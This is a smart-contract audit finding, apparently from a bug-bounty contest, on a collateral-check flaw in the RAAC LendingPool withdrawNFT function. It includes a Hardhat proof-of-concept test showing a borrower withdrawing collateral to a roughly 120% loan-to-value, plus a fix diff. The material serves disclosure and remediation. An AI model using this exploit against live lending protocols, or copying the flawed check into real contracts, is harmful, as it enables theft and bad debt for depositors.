Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Incorrect enforcement in `LendingPool::withdrawNFT` allows borrowers to withdraw excessive amounts of collateral that break the healthy loan to value ratio

Summary

The LendingPool::withdrawNFT incorrectly enforces collateral withdrawal limits, allowing borrowers to withdraw their collateral until the loan-to-value becomes 120%. This miscalculation could lead to situations where users withdraw excessive collateral relative to their outstanding debt, putting the protocol in a position of bad debt.

Vulnerability Details

The withdrawNFT function allows users to withdraw deposited NFTs as long as their remaining collateral after withdrawal meets the liquidation threshold.

function withdrawNFT(uint256 tokenId) external nonReentrant whenNotPaused {
if (isUnderLiquidation[msg.sender]) revert CannotWithdrawUnderLiquidation();
...SKIP...
// Check if withdrawal would leave user undercollateralized
uint256 userDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex);
uint256 collateralValue = getUserCollateralValue(msg.sender);
uint256 nftValue = getNFTPrice(tokenId);
// @audit-issue If the collateral is up to 20% less than the debt, the call won't revert
if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}
...SKIP...
raacNFT.safeTransferFrom(address(this), msg.sender, tokenId);
emit NFTWithdrawn(msg.sender, tokenId);
}

The issue arises because the protocol enforces that the remaining collateral after withdrawal must be at least liquidationThreshold percent of the debt, where liquidationThreshold is set to 80% upon contract creation. This means a borrower can withdraw collateral until the remaining collateral is only 80% of their debt, effectively allowing them to withdraw up to 20% more than they should be able to.

PoC

import { expect } from 'chai';
import hre from "hardhat";
import pkg from "hardhat";
const { network } = pkg;
const { ethers } = hre;
describe("RAAC PoC", function() {
let owner, user1, user2, user3;
let crvusd, raacNFT, raacHousePrices, stabilityPool
let lendingPool, rToken, debtToken;
let token;
beforeEach(async function () {
[owner, user1, user2, user3] = await ethers.getSigners();
const CrvUSDToken = await ethers.getContractFactory("crvUSDToken");
crvusd = await CrvUSDToken.deploy(owner.address);
await crvusd.setMinter(owner.address);
token = crvusd;
const RAACHousePrices = await ethers.getContractFactory("RAACHousePrices");
raacHousePrices = await RAACHousePrices.deploy(owner.address);
const RAACNFT = await ethers.getContractFactory("RAACNFT");
raacNFT = await RAACNFT.deploy(crvusd.target, raacHousePrices.target, owner.address);
stabilityPool = { target: owner.address };
const RToken = await ethers.getContractFactory("RToken");
rToken = await RToken.deploy("RToken", "RToken", owner.address, crvusd.target);
const DebtToken = await ethers.getContractFactory("DebtToken");
debtToken = await DebtToken.deploy("DebtToken", "DT", owner.address);
const RAACToken = await ethers.getContractFactory("RAACToken");
const raacToken = await RAACToken.deploy(owner.address, 100, 50);
const DEToken = await ethers.getContractFactory("DEToken");
const deToken = await DEToken.deploy("DEToken", "DEToken", owner.address, rToken.target);
const initialPrimeRate = ethers.parseUnits("0.1", 27);
const LendingPool = await ethers.getContractFactory("LendingPool");
lendingPool = await LendingPool.deploy(
crvusd.target,
rToken.target,
debtToken.target,
raacNFT.target,
raacHousePrices.target,
initialPrimeRate
);
const StabilityPool = await ethers.getContractFactory("StabilityPool");
stabilityPool = await StabilityPool.deploy(owner.address);
const RAACMinter = await ethers.getContractFactory("RAACMinter");
const raacMinter = await RAACMinter.deploy(
raacToken.target,
stabilityPool.target,
lendingPool.target,
owner.address
);
await stabilityPool.initialize(
rToken.target,
deToken.target,
raacToken.target,
raacMinter.target,
crvusd.target,
lendingPool.target
)
await rToken.setReservePool(lendingPool.target);
await debtToken.setReservePool(lendingPool.target);
await rToken.transferOwnership(lendingPool.target);
await debtToken.transferOwnership(lendingPool.target);
const mintAmount = ethers.parseEther("1000");
await crvusd.mint(user1.address, mintAmount);
await crvusd.mint(user3.address, mintAmount);
const mintAmount2 = ethers.parseEther("10000");
await crvusd.mint(user2.address, mintAmount2);
await crvusd.connect(user1).approve(lendingPool.target, mintAmount);
await crvusd.connect(user2).approve(lendingPool.target, mintAmount);
await crvusd.connect(user3).approve(lendingPool.target, mintAmount);
await raacHousePrices.setOracle(owner.address);
await raacHousePrices.setHousePrice(1, ethers.parseEther("65"));
await raacHousePrices.setHousePrice(2, ethers.parseEther("35"));
await ethers.provider.send("evm_mine", []);
const housePrice = await raacHousePrices.tokenToHousePrice(1);
const raacHpAddress = await raacNFT.raac_hp();
const priceFromNFT = await raacNFT.getHousePrice(1);
const tokenId = 1;
const amountToPay1 = ethers.parseEther("65");
const amountToPay2 = ethers.parseEther("35");
await token.mint(user1.address, amountToPay1 + amountToPay2);
await token.connect(user1).approve(raacNFT.target, amountToPay1 + amountToPay2);
await raacNFT.connect(user1).mint(tokenId, amountToPay1);
await raacNFT.connect(user1).mint(tokenId + 1, amountToPay2);
const depositAmount = ethers.parseEther("1000");
await crvusd.connect(user2).approve(lendingPool.target, depositAmount);
await lendingPool.connect(user2).deposit(depositAmount);
await ethers.provider.send("evm_mine", []);
expect(await crvusd.balanceOf(rToken.target)).to.equal(ethers.parseEther("1000"));
});
it.only("allows borrower to withdraw excessive collateral", async () => {
// supplier deposits assets into the lending pool
const depositAmount = ethers.parseEther("1000");
await crvusd.connect(user2).approve(lendingPool.target, depositAmount);
await lendingPool.connect(user2).deposit(depositAmount);
// borrower provides collateral
const tokenId1 = 1;
const tokenId2 = 2;
await raacNFT.connect(user1).approve(lendingPool.target, tokenId1);
await lendingPool.connect(user1).depositNFT(tokenId1);
await raacNFT.connect(user1).approve(lendingPool.target, tokenId2);
await lendingPool.connect(user1).depositNFT(tokenId2);
// borrower borrows against the provided collateral (ltv = 80%)
const borrowAmount = ethers.parseEther("80");
await expect(lendingPool.connect(user1).borrow(borrowAmount))
.to.not.be.revertedWithCustomError(lendingPool, "NotEnoughCollateralToBorrow");
// withdraw 40% of the collateral effectively increasing the ltv = 120%
await expect(lendingPool.connect(user1).withdrawNFT(2)).to.not.be.reverted;
})
});

Impact

Borrowers can withdraw excessive collateral relative to their debt, which results in bad debt accumulation for the lending pool.

Tools Used

Manual Research, VSCode

Recommendations

Fix the check in LendingPool::withdrawNFT:

- if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) {
+ uint256 remainigCollateral = collateralValue - nftValue;
+ if (remainigCollateral.percentMul(liquidationThreshold) < userDebt) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.